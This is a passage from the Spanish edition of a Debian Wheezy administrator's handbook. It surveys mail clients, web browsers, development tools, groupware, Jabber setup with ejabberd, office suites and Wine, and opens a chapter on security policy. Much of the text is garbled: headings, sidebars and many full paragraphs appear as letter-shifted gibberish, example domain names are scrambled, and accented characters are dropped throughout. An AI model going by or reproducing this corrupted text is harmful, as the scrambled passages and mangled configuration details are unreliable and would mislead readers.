&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'JHVSB 

&M FTDSJUPSJP 9GDF

Otro entorno de escritorio que provee Wheezy es LXDE, el cual se enfoca en el aspecto ligero.
Puede instalarlo con ayuda del metapaquete lxde.

 )FSSBNJFOUBT
 $PSSFP
&WPMVUJPO
$0.6/*%"%
1BRVFUFT QPQVMBSFT

4J JOTUBMB FM QBRVFUF QPQVMBSJUZDPOUFTU QVFEF QBSUJDJQBS FO VOB FODVFTUB BV


UPNUJDB RVF JOGPSNB BM QSPZFDUP %FCJBO TPCSF MPT QBRVFUFT NT QPQVMBSFT
4FNBOBMNFOUF cron FKFDVUBS VO TDSJQU RVF FOWJBS B USBWT EF )551 P
DPSSFP
VOB MJTUB BOOJNB EF MPT QBRVFUFT JOTUBMBEPT Z MB GFDIB EFM MUJNP
BDDFTP B MPT BSDIJWPT RVF DPOUJFOFO &TUP QFSNJUF EJGFSFODJBS FOUSF BRVFMMPT
QBRVFUFT JOTUBMBEPT B BRVFMMPT RVF SFBMNFOUF VUJMJ[B
&TUB JOGPSNBDJO FT EF HSBO BZVEB BM QSPZFDUP %FCJBO -B VUJMJ[B QBSB EFUFS
NJOBS RV QBRVFUFT EFCFO FTUBS FO FM QSJNFS EJTDP EF JOTUBMBDJO -PT EBUPT
EF JOTUBMBDJO UBNCJO TPO VO GBDUPS JNQPSUBOUF FO MB EFDJTJO TPCSF MB FMJN
JOBDJO EF MB EJTUSJCVDJO EF VO QBRVFUF DPO NVZ QPDPT VTVBSJPT 3FDPNFO
EBNPT TJODFSBNFOUF JOTUBMBS FM QBRVFUF QPQVMBSJUZDPOUFTU Z QBSUJDJQBS FO MB
FODVFTUB
5PEPT MPT EBT TF QVCMJDBO MPT EBUPT SFDPMFDUBEPT
http://popcon.debian.org/

$BQUVMP  & TUBDJO EF USBCBKP



&TUBT FTUBETUJDBT UBNCJO QVFEF BZVEBS B FMFHJS FOUSF EPT QBRVFUFT RVF EF
PUSB GPSNB QBSFDFSBO FRVJWBMFOUFT &MFHJS FM QBRVFUF NT QPQVMBS BVNFOUB
MB QSPCBCJMJEBE EF SFBMJ[BS VOB CVFOB FMFDDJO

Evolution es el cliente de correo de GNOME y lo puede instalar con apt-get install


evolution. Evolution es ms que un simple cliente de correo, tambin provee un calendario, libreta de direcciones, lista de tareas y una aplicacin de notas (de texto libre). Su componente de
correo incluye un poderoso sistema de indexacin que permite crear carpetas virtuales basadas
en consultas de bsqueda sobre todos los mensajes archivados. En otras palabras, se almacenan
todos los mensajes de la misma forma pero se los muestra organizados en carpetas, cada una de
las cuales contiene los mensajes que coinciden con un filtro particular.

'JHVSB 

&M TPXBSF EF DPSSFP &WPMVUJPO

Una extensin de Evolution permite integrarlo al sistema de correos Microsoft Exchange; el


paquete necesario es evolution-exchange.

,.BJM
Puede instalar el software de correo de KDE con apt-get install kmail. KMail slo gestiona
correo, pero pertenece a un conjunto de software llamado KDE-PIM (gestor de informacin personal: Personal Information Manager) que incluye funcionalidades como libretas de direcciones,
un componente de calendario, etc. KMail tiene toda la funcionalidad que uno podra esperar de
un excelente cliente de correo.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'JHVSB 

&M TPXBSF EF DPSSFP ,.BJM

5IVOEFSCJSE Z *DFEPWF
Este software de correo, incluido en el paquete icedove, es parte del conjunto de software de
Mozilla. Se encuentran disponibles varios conjuntos de localizacin en los paquetes icedove-l10n*; la extensin enigmail gestiona la firma y cifrado de mensajes (pero no est disponible en todos
los idiomas).

'JHVSB 

&M TPXBSF EF DPSSFP *DFEPWF

$BQUVMP  & TUBDJO EF USBCBKP



Thunderbird es uno de los mejores clientes de correo y parece ser un gran xito, al igual que
Mozilla Firefox.
Estrictamente hablando, Debian Wheezy contiene Icedove, no Thunderbird, por cuestiones
legales que detallaremos en la seccin Iceweasel, Firefox y otros ms adelante; pero, adems
del nombre (e conos), no hay realmente diferencias entre ellos.

 /BWFHBEPSFT XFC


Epiphany, el navegador web de GNOME, utiliza el motor de visualizacin Webkit desarrollado
por Apple para su navegador Safari. El paquete relevante es epiphany-browser.
Konqueror, el gestor de archivos de KDE, tambin se comporta como un navegador web. Utiliza
el motor de visualizacin KHTML, especfico de KDE; KHTML es un motor excelente, como evidencia el hecho de que WebKit de Apple est basado en KHTML. Konqueror est disponible en
el paquete konqueror.
Los usuarios que no estn satisfechos con ninguno de los anteriores pueden utilizar Iceweasel.
Este navegador, disponible en el paquete iceweasel, utiliza el visualizador Gecko del proyecto
Mozilla, con una interfaz delgada y extensible sobre l.

'JHVSB 

$6-563"
*DFXFBTFM 'JSFGPY Z PUSPT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

&M OBWFHBEPS XFC *DFXFBTFM

.VDIPT VTVBSJPT TJO EVEB FTUBSO TPSQSFOEJEPT QPS MB BVTFODJB EF .P[JMMB


'JSFGPY FO MPT NFOT EF %FCJBO 8IFF[Z /P IBZ OFDFTJEBE EF FOUSBS FO QOJDP
FM QBRVFUF JDFXFBTFM DPOUJFOF *DFXFBTFM RVF FT CTJDBNFOUF 'JSFGPY CBKP PUSP
OPNCSF

-B SB[O EFUST EF FTUF DBNCJP EF OPNCSF FT FM SFTVMUBEP EF MBT SFHMBT EF


VTP JNQVFTUBT QPS MB .P[JMMB 'PVOEBUJPO FO MB NBSDB SFHJTUSBEB 'JSFGPY
DVBMRVJFS TPXBSF MMBNBEP 'JSFGPY EFCF VUJMJ[BS FM MPHP Z MPT DPOPT PGJDJBMFT
EF 'JSFGPY 4JO FNCBSHP EFCJEP B RVF FTUPT FMFNFOUPT OP TPO QVCMJDBEPT CBKP
VOB MJDFODJB MJCSF %FCJBO OP QVFEF EJTUSJCVJSMPT FO TV TFDDJO NBJO &O MV
HBS EF NPWFS UPEP FM OBWFHBEPS B OPOGSFF FM FODBSHBEP EFM QBRVFUF EFDJEJ
VUJMJ[BS VO OPNCSF EJGFSFOUF
5PEBWB FYJTUF FM QSPHSBNB firefox FO FM QBRVFUF JDFXFBTFM QFSP TMP QPS DPN
QBUJCJMJEBE DPO MBT IFSSBNJFOUBT RVF JOUFOUFO VUJMJ[BSMP
1PS SB[POFT TJNJMBSFT TF DBNCJ FM OPNCSF EFM DMJFOUF EF DPSSFP 5IVOEFSCJSE
B *DFEPWF EF MB NJTNB GPSNB

$6-563"
.P[JMMB

/FUTDBQF /BWJHBUPS FSB FM OBWFHBEPS FTUOEBS DVBOEP MB XFC DPNFO[ B MMFHBS


B MBT NBTBT QFSP GVF EFKBEP BUST QSPHSFTJWBNFOUF DVBOEP TVSHJ .JDSPTP
*OUFSOFU &YQMPSFS 'SFOUF B FTUF GSBDBTP /FUTDBQF MB FNQSFTB
EFDJEJ kMJCFS
BS{ TV DEJHP GVFOUF QVCMJDOEPMP CBKP VOB MJDFODJB MJCSF QBSB EBSMF VOB TF
HVOEB WJEB &TUF GVF FM DPNJFO[P EFM QSPZFDUP .P[JMMB -VFHP EF NVDIPT BPT
EF EFTBSSPMMP MPT SFTVMUBEPT TPO NT RVF TBUJTGBDUPSJPT FM QSPZFDUP .P[JMMB
MMFW BEFMBOUF VO NPUPS EF WJTVBMJ[BDJO )5.- MMBNBEP (FDLP
RVF TF FO
DVFOUSB FOUSF MPT NT DPNQBUJCMFT DPO FTUEBSFT &O QBSUJDVMBS FTUF NPUPS EF
WJTVBMJ[BDJO FT VUJMJ[BEP QPS FM OBWFHBEPS .P[JMMB 'JSFGPY VOP EF MPT OBWFH
BEPSFT NT FYJTUPTPT DPO VOB CBTF EF VTVBSJPT RVF DSFDF SQJEBNFOUF

Wheezy tambin provee un relativamente recin llegado al escenario de los navegadores web,
Chromium (disponible en el paquete chromium-browser). Google desarrolla este navegador a un
ritmo tan rpido que probablemente no sea posible mantener slo una versin del mismo durante todo el ciclo de vida de Debian Wheezy. Su propsito es hacer ms atractivos a los servicios web, tanto optimizando el rendimiento del navegador como aumentando la seguridad del
usuario. El cdigo libre que hace funcionar a Chromium tambin es utilizado por su versin
privativa llamada Google Chrome.

 %FTBSSPMMP
)FSSBNJFOUBT QBSB (5, FO (/0.&
Anjuta (en el paquete anjuta) es un entorno de desarrollo optimizado para crear aplicacin GTK+
para GNOME. Glade (en el paquete glade) es una aplicacin diseada para crear interfaces grficas GTK+ para GNOME y guardarlas en una archivo XML. La biblioteca compartida libglade puede
cargar estos archivos XML y recrear dinmicamente las interfaces guardadas; esta funcionalidad
puede ser interesante, por ejemplo para los plugins que necesitan ventanas interactivas.
El objetivo de Anjuta es combinar, de forma modular, todas las caractersticas que uno podra
esperar de un entorno integrado de desarrollo.

$BQUVMP  & TUBDJO EF USBCBKP



)FSSBNJFOUBT QBSB 2U FO ,%&


Las aplicaciones equivalentes para KDE son KDevelop (en el paquete kdevelop) para el entorno
de desarrollo y Qt Designer (en el paquete qt4-designer) para el diseo de interfaces grficas de
aplicaciones Qt en KDE.
Las prximas versiones de estas aplicaciones deberan integrarse mejor entre ellas gracias al
sistema de componentes KParts.

 5SBCBKP DPMBCPSBUJWP


5SBCBKP FO HSVQP HSPVQXBSF
Las herramientas de trabajo en grupo (groupware) suelen ser bastante complejas de mantener
porque concentran varias herramientas y tienen requerimientos que no siempre son fciles de
cumplir en el contexto de una distribucin integrada. Existe, por lo tanto, una larga lista de
groupware que estuvo disponible en Debian en algn momento pero fueron eliminadas por falta
de encargados o incompatibilidades con otro software (ms reciente) en Debian. Este fue el caso
de PHPGroupware, eGroupware y Kolab.
http://www.phpgroupware.org/
http://www.egroupware.org/
http://www.kolab.org/
Sin embargo, no todo est perdido. Mucha de las caractersticas clsicas que provee el software groupware estn siendo integradas al software estndar. Esto reduce la necesidad
de software groupware especfico y especializado. Por el otro lado, esto generalmente necesita
un servidor especfico. Un buen ejemplo de tal servidor es Kolab, que puede integrarse con KDE
(Kontact, Kmail, etc.), el correo web Horde, Thunderbird (a travs de un plugin) e inclusive con
Microsoft Outlook. Ms interesantes son las alternativas Citadel (en el paquete citadel-suite) y
Sogo (en el paquete sogo) disponibles en Debian Wheezy.

4JTUFNBT EF NFOTBKFSB JOTUBOUOFB


Cuando configuramos un sistema de mensajera instantnea interno para una empresa, la opcin obvia es Jabber: su protocolo es un estndar abierto (XMPP) y no le faltan funcionalidades.
Se pueden cifrar los mensajes, lo cual puede ser una gran ventaja, y se pueden configurar puertas de enlace entre un servidor Jabber y otras redes de mensajera instantnea como ICQ, AIM,
Yahoo, MSN, etc.
"-5&3/"5*7"
*3$ k*OUFSOFU 3FMBZ $IBU{



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

5BNCJO QPEFNPT DPOTJEFSBS B *3$ FO MVHBS EF +BCCFS &TUF TJTUFNB FTU NT


DFOUSBEP BMSFEFEPS EFM DPODFQUP EF DBOBMFT DVZPT OPNCSFT DPNJFO[BO DPO VO
TNCPMP EF OVNFSBM # 'SFDVFOUFNFOUF DBEB DBOBM FTU EFEJDBEP B VO UFNB
FTQFDGJDP Z DVBMRVJFS DBOUJEBE EF QFSTPOBT QVFEFO VOJSTF B VO DBOBM QBSB EJT
DVUJSMP QFSP MPT VTVBSJPT UBNCJO QVFEFO UFOFS DPOWFSTBDJPOFT QSJWBEBT TMP

FOUSF EPT TJ FT OFDFTBSJP


 &M QSPUPDPMP *3$ FT NT BOUJHVP Z OP QFSNJUF DJGSB
EP QVOUBBQVOUB EF MPT NFOTBKFT T FT QPTJCMF DJGSBS MB DPNVOJDBDJO FOUSF
MPT VTVBSJPT Z FM TFSWJEPS VUJMJ[BOEP VO UOFM 44- QBSB FM USGJDP EFM QSPUPDPMP
*3$
-PT DMJFOUFT *3$ TPO VO QPDP NT DPNQMFKPT Z HFOFSBMNFOUF QSPWFFO NVDIBT
GVODJPOBMJEBEFT DPO VO VTP MJNJUBEP FO VO FOUPSOP DPSQPSBUJWP 1PS FKFNQMP
MPT kPQFSBEPSFT{ EF MPT DBOBMFT TPO VTVBSJPT DPO DBQBDJEBE EF FDIBS PUSPT
VTVBSJPT EF VO DBOBM P JODMVTJWF CMPRVFBSMPT QFSNBOFOUFNFOUF DVBOEP JOUFS
SVNQBO MB EJTDVTJO OPSNBM
%FCJEP B RVF FM QSPUPDPMP *3$ FT NVZ BOUJHVP IBZ EJTQPOJCMFT NVDIPT
DMJFOUFT RVF TF BEBQUBO B NVDIPT HSVQPT EF VTVBSJP MPT FKFNQMPT JODMVZFO
9$IBU Z 4NVYJ DMJFOUFT HSGJDPT CBTBEPT FO (5,
*STTJ NPEP UFYUP
&SD
JOUFHSBEP B &NBDT
$IBU[JMMB FO FM DPOKVOUP EF TPXBSF .P[JMMB
FUD

7*45" 31*%"
$POGFSFODJBT EF WJEFP DPO
&LJHB

&LJHB BOUFSJPSNFOUF (OPNF.FFUJOH


FT MB BQMJDBDJO NT SFTBMUBEB QBSB DPO
GFSFODJBT EF WJEFP FO -JOVY &T FTUBCMF GVODJPOBM Z NVZ TFODJMMB EF VUJMJ[BS FO
VOB SFE MPDBM DPOGJHVSBS FM TFSWJDJP FO VOB SFE HMPCBM FT NVDIP NT DPNQMFKP
DVBOEP MPT GJSFXBMMT JOWPMVDSBEPT OP TPO DPNQBUJCMFT FYQMDJUBNFOUF DPO MPT
QSPUPDPMPT EF UFMFDPOGFSFODJBT ) ZP 4*1 Z UPEBT TVT QFDVMJBSJEBEFT
4J TMP TF FKFDVUBS VO DMJFOUF &LJHB EFUST EFM GJSFXBMM MB DPOGJHVSBDJO FT
CBTUBOUF EJSFDUB ZB RVF TMP JOWPMVDSB SFEJSJHJS VOPT QPDPT QVFSUPT BM FRVJQP
EFEJDBEP FM QVFSUP 5$1  RVF FTQFSB DPOFYJPOFT FOUSBOUFT
FM QVFSUP 5$1
 QBSB 4*1
MPT QVFSUPT 5$1  B  QBSB DPOUSPM EF DPOFYJPOFT
BCJFSUBT
Z MPT QVFSUPT 6%1  B  QBSB USBOTNJTJO EF EBUPT EF BVEJP
Z WJEFP BT DPNP SFHJTUSBDJO DPO VO QSPYZ )

$VBOEP TF FKFDVUFO WBSJPT DMJFOUFT &LJHB EFUST EFM GJSFXBMM MB DPNQMFKJEBE
BVNFOUB DPOTJEFSBCMFNFOUF %FCFS DPOGJHVSBS VO QSPYZ ) QPS FKFNQMP
FM QBRVFUF HOVHL
UBSFB RVF EJTUB EF TFS TFODJMMB

Configuracin del servidor Configurar un servidor Jabber es bastante directo. Luego de instalar el paquete ejabberd, ejecutar dpkg-reconfigure ejabberd le permitir personalizar el
dominio predeterminado y crear una cuenta de administracin. Sepa que el servidor Jabber
necesita un nombre DNS vlido que apunte a l, por lo que necesitar algo de administracin
de red antes. Los administradores de Falcot Corp eligieron KBCCFSGBMDPUDPN para este propsito.
Una vez que finaliz esta configuracin inicial, puede controlar la configuracin del servicio
a travs de una interfaz web disponible en IQKBCCFSGBMDPUDPNBENJO. El nombre
de usuario y contrasea solicitados son aquellos que ingres durante la configuracin inicial.
Sepa que el nombre de usuario debe ser completo, incluyendo el dominio configurado: la cuenta
BENJO ser BENJO!KBCCFSGBMDPUDPN.
La interfaz web elimina la necesidad de editar un archivo de configuracin, pero no siempre hace
la tarea ms sencilla ya que necesita conocer la sintaxis particular que poseen muchas opciones.
le recomendamos leer /usr/share/doc/ejabberd/guide.html.

$BQUVMP  & TUBDJO EF USBCBKP



Clientes Jabber GNOME provee Empathy (en el paquete del mismo nombre), un cliente minimalista que se integra con el rea de notificacin del escritorio (en la esquina superior derecha
de la configuracin predeterminada de GNOME). Tambin es compatible con muchos protocolos
de mensajera instantnea adems de Jabber.
KDE provee Kopete (en el paquete del mismo nombre).

5SBCBKP DPMBCPSBUJWP DPO 'VTJPO'PSHF


FusionForge es una herramienta de desarrollo colaborativo derivado de SourceForge, un servicio de almacenamiento de proyectos de software libre. Tiene el mismo enfoque general basado
en el modelo estndar de desarrollo de software libre. El software en s continu evolucionando
luego que el cdigo de SourceForge pas a ser privativo. Sus autores iniciales, VA Software, decidieron no publicar ms versiones libres. Lo mismo pas cuando su primer bifurcacin (GForge)
sigui el mismo camino. Debido a que muchas personas y organizaciones participaron en su desarrollo, el FusionForge actual tambin incluye funcionalidad que apuntan a un enfoque ms
tradicional de desarrollo as como tambin proyectos que no estn completamente enfocados
en el desarrollo de software.
Se puede considerar a FusionForge como una amalgama de varias herramientas dedicadas a gestionar, seguir y coordinar proyectos. Podramos clasificar estas herramientas, a grandes rasgos,
en tres familias:
comunicacin: foros web, gestor de listas de correo, sistemas de anuncios que permiten que
el proyecto publique noticias;
seguimiento: gestor de tareas para controlar el progreso y programar tareas, seguimiento
de errores (o parches, o pedidos de funcionalidad, o cualquier otro tipo de reporte
ticket), encuestas;
compartir: gestor de documentacin para proveer un nico punto central para documentos relacionados a un proyecto, gestor genrico de publicacin de archivos, sitio web dedicado a cada proyecto.
Debido a que, en gran parte, FusionForge est dedicado a desarrollo de proyectos, tambin integra muchas herramientas como CVS, Subversion, Git, Bazaar, Darcs, Mercurial y Arch para
gestin de control de fuente o gestin de configuracin o control de versiones este proceso tiene muchos nombres. Estos programas mantienen un historial de todas las revisiones
de todos los archivos seguidos (generalmente archivos de cdigo fuente), con todos los cambios que atravesaron y pueden integrar modificaciones cuando varios desarrolladores trabajan
simultneamente en la misma porcin de un proyecto.
Muchas de estas herramientas estn disponible, o inclusive son administradas, en una interfaz
web con un sistema de permisos muy detallado y notificaciones por correo de algunos eventos.
Lamentablemente FusionForge estaba en un estado voltil cuando se congel Wheezy, por lo que
no est presente en un Wheezy estndar; en el momento que se escribi este libro, todava no se
encontraban disponibles retroadaptaciones, pero se espera que aparezcan pronto.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 4VJUFT EF PGJDJOB


Durante mucho tiempo el mundo del software libre era limitado en cuanto a software de oficina.
Los usuarios pedan reemplazos de las herramientas de Microsoft como Word y Excel, pero stas son tan complejas que el desarrollo de dichos reemplazos fue complejo. La situacin cambi
cuando comenz el proyecto OpenOffice.org (luego de que Sun publicara el cdigo de StarOffice
bajo una licencia libre). Actualmente, Debian incluye Libre Office, una bigurcacin de OpenOffice.org. Los proyectos GNOME y KDE continan trabajando en sus ofertas (GNOME Office y Calligra Suite) y la competencia amigable lleva a resultados interesantes. Por ejemplo, la hoja de
clculo Gnumeric (parte de GNOME Office) es inclusive mejor que OpenOffice.org/Libre Office
en algunos aspectos, notablemente en la precisin de sus clculos. En cuanto al procesamiento
de texto, las suites OpenOffice.org y Libre Office todava llevan la delantera.
Otra caracterstica importante para los usuarios es la capacidad de importar documentos Word
y Excel que encuentran o reciben de contactos. An cuando todas las suites de oficina poseen
filtros que permiten trabajar con estos formatos, slo aquellos en OpenOffice.org y Libre Office
son suficientemente funcionales para usar diariamente.

6/" 7*4*/ .4
".1-*"
-JCSF 0JDF SFFNQMB[B
0QFO0JDFPSH

-PT DPMBCPSBEPSFT EF 0QFO0JDFPSH DSFBSPO VOB GVOEBDJO 5IF %PDVNFOU


'PVOEBUJPO
QBSB BCBSDBS FM EFTBSSPMMP EFM QSPZFDUP 4F EJTDVUJ MB JEFB QPS VO
UJFNQP QFSP FM EJTQBSBEPS GVF MB BERVJTJDJO EF 4VO QPS QBSUF EF 0SBDMF -PT
OVFWPT EVFPT IJDJFSPO JODJFSUP FM GVUVSP EF 0QFO0JDF CBKP MB NBOP EF 0S
BDMF %FCJEP B RVF 0SBDMF EFDJEJ OP VOJSTF B MB GVOEBDJO MPT EFTBSSPMMBEPSFT
EFCJFSPO BCBOEPOBS FM OPNCSF 0QFO0JDFPSH "IPSB TF DPOPDF BM TPXBSF
DPNP -JCSF 0JDF -VFHP EF VO QFSPEP EF SFMBUJWP FTUBODBNJFOUP FO FM DBNQP
EF 0QFO0JDFPSH 0SBDMF EFDJEJ NJHSBS FM DEJHP Z MPT EFSFDIPT BTPDJBEPT
B MB k"QBDIF 4PXBSF 'PVOEBUJPO{ GVOEBDJO EF TPXBSF "QBDIF
Z BIPSB
0QFO0JDF FT VO QSPZFDUP EF "QBDIF
%FCJBO 4RVFF[F DPOUFOB 0QFO0JDFPSH EFCJEP B MB MOFB UFNQPSBM EF MPT
FWFOUPT QFSP SQJEBNFOUF FTUVWP EJTQPOJCMF -JCSF 0JDF FO FM SFQPTJUPSJP EF
QBRVFUFT backports.debian.org %FCJBO 8IFF[Z TMP JODMVZF -JCSF 0JDF Z
MPT QBRVFUF PQFOPJDFPSH TMP TPO QBRVFUFT EF USBOTJDJO &O FTUF NPNFOUP
OP TF FODVFOUSB EJTQPOJCMF FO %FCJBO MB TVJUF EF TPXBSF 0QFO0JDF UBM DPNP
FT QVCMJDBEB QPS MB "QBDIF 4PXBSF 'PVOEBUJPO

Libre Office, Calligra Suite y GNOME Office se encuentran disponibles, respectivamente, en los
paquetes Debian libreoffice, calligra y gnome-office. Los paquetes especficos de idioma para Libre Office son distribuidos en paquetes independientes: los ms importantes entre ellos son
libreoffice-l10n-* y libreoffice-help-*; algunas funcionalidades como los diccionarios de ortografa,
patrones para separado en slabas y thesaurus se encuentran en paquetes independientes, como myspell-*), hyphen-* y mythes-*. Tenga en cuenta que Calligra Suite sola llamarse KOffice y el
paquete koffice es un paquete de transicin.

$BQUVMP  & TUBDJO EF USBCBKP



 &NVMBDJO EF 8JOEPXT 8JOF


A pesar de todos los esfuerzos mencionados anteriormente, existen todava herramientas sin
equivalente en Linux o para las que las versiones originales son absolutamente necesarias. Aqu
es donde son tiles los sistemas de emulacin de Windows. El ms conocido entre ellos es Wine.
http://www.winehq.com/
$0.1-&.&/504
$SPTT0WFS -JOVY

$SPTT0WFS QSPEVDJEP QPS $PEF8FBWFST FT VO DPOKVOUP EF NFKPSBT B 8JOF


RVF BNQMBO FM DPOKVOUP EF GVODJPOBMJEBEFT EF FNVMBDJO BM QVOUP RVF TF
QVFEF VUJMJ[BS DPNQMFUBNFOUF .JDSPTP 0JDF "MHVOBT EF FTUBT NFKPSBT TPO
JODPSQPSBEBT QFSJEJDBNFOUF FO 8JOF
http://www.codeweavers.com/products/

Sin embargo, uno debe tener en cuenta que slo es una solucin entre muchas otras y que tambin puede enfrentar el problema con una mquina virtual o VNC, ambas soluciones son detalladas en los recuadros.
Comencemos con un recordatorio: la emulacin permite ejecutar un programa (desarrollado
para un sistema objetivo) en un sistema anfitrin diferente. El software de emulacin utiliza el
sistema anfitrin, donde ejecuta la aplicacin, para imitar la funcionalidad requerida del sistema
objetivo.
Instalemos ahora los paquetes necesarios:
# apt-get install wine ttf-mscorefonts-installer wine-doc

El usuario necesita ejecutar winecfg y configurar qu ubicaciones (Debian) estarn asociadas a


qu dispositivos (Windows). winecfg tiene algunos valores predeterminados sensatos y puede
autodetectar algunos dispositivos adicionales. Tenga en cuenta que si posee un sistema de arranque dual no debera apuntar el disco $ donde est montada la particin Windows en Debian
ya que es probable que Wine sobreescriba algunos datos de esta particin, haciendo que Windows no sea utilizable. Puede mantener otras configuraciones en sus valores predeterminados.
Para ejecutar programas Windows primero necesitar instalarlos ejecutando su instalador (de
Windows) bajo Wine, ejecutando algo como wine .../setup.exe; una vez que el programa
est instalado, puede ejecutarlo con wine .../programa.exe. La ubicacin exacta del archivo programa.exe depende de a dnde est asociado el disco $; sin embargo, en muchos casos,
ejecutar simplemente wine programa funcionar ya que generalmente se lo instala en una ubicacin donde Wine podr encontrarlo por su cuenta.
Sepa que no debe depender de Wine (o soluciones similares) sin probar realmente el software
particular: slo una prueba de uso real determinar sin dudas si la emulacin es completamente
funcional.
"-5&3/"5*7"
.RVJOBT WJSUVBMFT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

6OB BMUFSOBUJWB QBSB FNVMBS FM TJTUFNB PQFSBUJWP EF .JDSPTP FT FKFDVUBS


MP SFBMNFOUF FO VOB NRVJOB WJSUVBM RVF FNVMB FM IBSEXBSF DPNQMFUP EF VO

FRVJQP &TUP QFSNJUF FKFDVUBS DVBMRVJFS TJTUFNB PQFSBUJWP &M $BQUVMP  k"E
NJOJTUSBDJO BWBO[BEB{ QHJOB  EFTDSJCF WBSJPT TJTUFNBT EF WJSUVBMJ[BDJO
NT OPUBCMFNFOUF 9FO Z ,7. QFSP UBNCJO 2&.6 7.8BSF Z #PDIT


"-5&3/"5*7"
8JOEPXT 5FSNJOBM 4FSWFS P
7/$

0USB QPTJCJMJEBE FT FKFDVUBS SFNPUBNFOUF MBT BQMJDBDJPOFT 8JOEPXT FO VO


TFSWJEPS DFOUSBM DPO 8JOEPXT 5FSNJOBM 4FSWFS Z BDDFEFS B MB BQMJDBDJO EFT
EF NRVJOBT -JOVY VUJMJ[BOEP SEFTLUPQ TUF FT VO DMJFOUF -JOVY QBSB FM QSP
UPDPMP 3%1 QSPUPDPMP EF FTDSJUPSJP SFNPUP k3FNPUF %FTLUPQ 1SPUPDPM{
RVF
8JOEPXT /5 5FSNJOBM 4FSWFS VUJMJ[B QBSB NPTUSBS FTDSJUPSJPT FO NRVJOBT
SFNPUBT
&M TPXBSF 7/$ QSPWFF GVODJPOBMJEBEFT TJNJMBSFT DPO FM CFOFGJDJP BEJDJPOBM
EF RVF UBNCJO GVODJPOB DPO NVDIPT TJTUFNBT PQFSBUJWPT %FTDSJCJNPT MPT
DMJFOUFT Z TFSWJEPSFT 7/$ -JOVY FO MB 4FDDJO  k*OJDJP EF TFTJO SFNPUP{
QHJOB 

$BQUVMP  & TUBDJO EF USBCBKP



1BMBCSBT DMBWF
'JSFXBMM
/FUGJMUFS
*%4/*%4

$BQUVMP

4FHVSJEBE


$POUFOJEPT

%FGJOJDJO EF VOB QPMUJDB EF TFHVSJEBE 

'JSFXBMM P FM GJMUSBEP EF QBRVFUFT 

4VQFSWJTJO QSFWFODJO EFUFDDJO EJTVBTJO 


0USBT DPOTJEFSBDJPOFT SFMBDJPOBEBT DPO MB TFHVSJEBE 

*OUSPEVDDJO B 4&-JOVY 

5SBUBNJFOUP EF VOB NRVJOB DPNQSPNFUJEB 

Un sistema de informacin puede tener un nivel variable de importancia dependiendo


del entorno. En algunos casos es vital para la supervivencia de una empresa. Por lo
tanto, debe ser protegido de los diversos tipos de riesgos. El proceso de evaluacin
de estos riesgos y la definicin e implementacin de la proteccin se conocen en su
conjunto como proceso de seguridad.

 %FGJOJDJO EF VOB QPMUJDB EF TFHVSJEBE


13&$"6$*/
"MDBODF EF FTUF DBQUVMP

-B TFHVSJEBE FT VO UFNB NVZ BNQMJP Z NVZ TFOTJCMF QPS MP RVF OP QPEFNPT


QSFUFOEFS EFTDSJCJSMP EF DVBMRVJFS GPSNB FYIBVTUJWB FO FM DVSTP EF VO TPMP
DBQUVMP`4MP EFMJOFBSFNPT BMHVOPT QVOUPT JNQPSUBOUFT Z EFTDSJCJSFNPT BM
HVOBT EF MBT IFSSBNJFOUBT Z NUPEPT RVF QVFEFO TFS EF VUJMJEBE FO FM NCJUP
EF MB TFHVSJEBE`1BSB MFFS NT MB MJUFSBUVSB BCVOEB Z MJCSPT FOUFSPT TF IBO
EFEJDBEP BM UFNB`6O FYDFMFOUF QVOUP EF QBSUJEB TFSB -JOVY 4FSWFS 4FDVSJUZ
QPS .JDIBFM % #BVFS QVCMJDBEP QPS 03FJMMZ


La palabra seguridad en s misma cubre un amplio rango de conceptos, herramientas y procedimientos, ninguno de los cuales es universal. Seleccionar entre ellos requiere una idea precisa
de sus metas. Asegurar un sistema comienza con responder unas pocas preguntas. Al precipitarse a implementar un conjunto arbitrario de herramientas corre el riesgo de enfocarse en los
aspectos de seguridad equivocados.
Lo primero a determinar, por lo tanto, es el objetivo. Un buen mtodo para ayudar con esta
determinacin comienza con las siguientes preguntas:
Qu estamos tratando de proteger? La poltica de seguridad ser diferente dependiendo
de si queremos proteger los equipos o los datos. En este ltimo caso, tambin es necesario
saber qu datos.
Contra qu estamos tratando de protegernos? Fuga de datos confidenciales? Prdida
accidental de datos? Perdida de ingresos por interrupcin del servicio?
Tambin contra quin estamos tratando de protegernos? Las medidas de seguridad sern
diferentes para protegerse contra el error de un usuario regular del sistema de lo que
seran contra un grupo de atacantes determinado.
Habitualmente, se utiliza el trmino riesgo para referirse al conjunto de estos tres factores:
qu proteger, qu necesitamos prevenir antes que suceda y quin intentar hacer que suceda.
Modelar el riesgo requiere respuestas a estas tres preguntas. A partir de este modelo de riesgo,
podemos construir una normativa de seguridad e implementarla con acciones concretas.
/05"
1SFHVOUBT QFSNBOFOUFT

#SVDF 4DIOFJFS VO FYQFSUP NVOEJBM FO BTVOUPT EF TFHVSJEBE OP TMP TFHVSJ


EBE JOGPSNUJDB
JOUFOUB DPOUSBSSFTUBS VOP EF MPT NJUPT NT JNQPSUBOUFT DPO
MB GSBTF kMB TFHVSJEBE FT VO QSPDFTP OP VO QSPEVDUP{ -PT BDUJWPT B QSPUF
HFS DBNCJBO DPO FM UJFNQP BT DPNP UBNCJO MP IBDFO MBT BNFOB[BT Z MPT
NFEJPT B EJTQPTJDJO EF MPT QPUFODJBMFT BUBDBOUFT *ODMVTP TJ JOJDJBMNFOUF TF
EJTF F JNQMFNFOU QFSGFDUBNFOUF VOB OPSNBUJWB EF TFHVSJEBE VOP OVODB
EFCF EPSNJSTF FO MPT MBVSFMFT -PT DPNQPOFOUFT EFM SJFTHP FWPMVDJPOBO Z MB
SFTQVFTUB B EJDIP SJFTHP EFCF FWPMVDJPOBS BDPSEFNFOUF

Vale la pena el tomar en cuenta restricciones adicionales, dado que pueden limitar el alcance de
las polticas disponibles. Hasta dnde estamos dispuestos a llegar para asegurar un sistema? Esta pregunta tiene un gran impacto en la poltica a implementar. La respuesta es a menudo defini-



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

da en trminos de costos monetarios, pero debe considerar otros elementos, tal como la cantidad
de inconvenientes impuestos a los usuarios del sistema o una degradacin en el rendimiento.
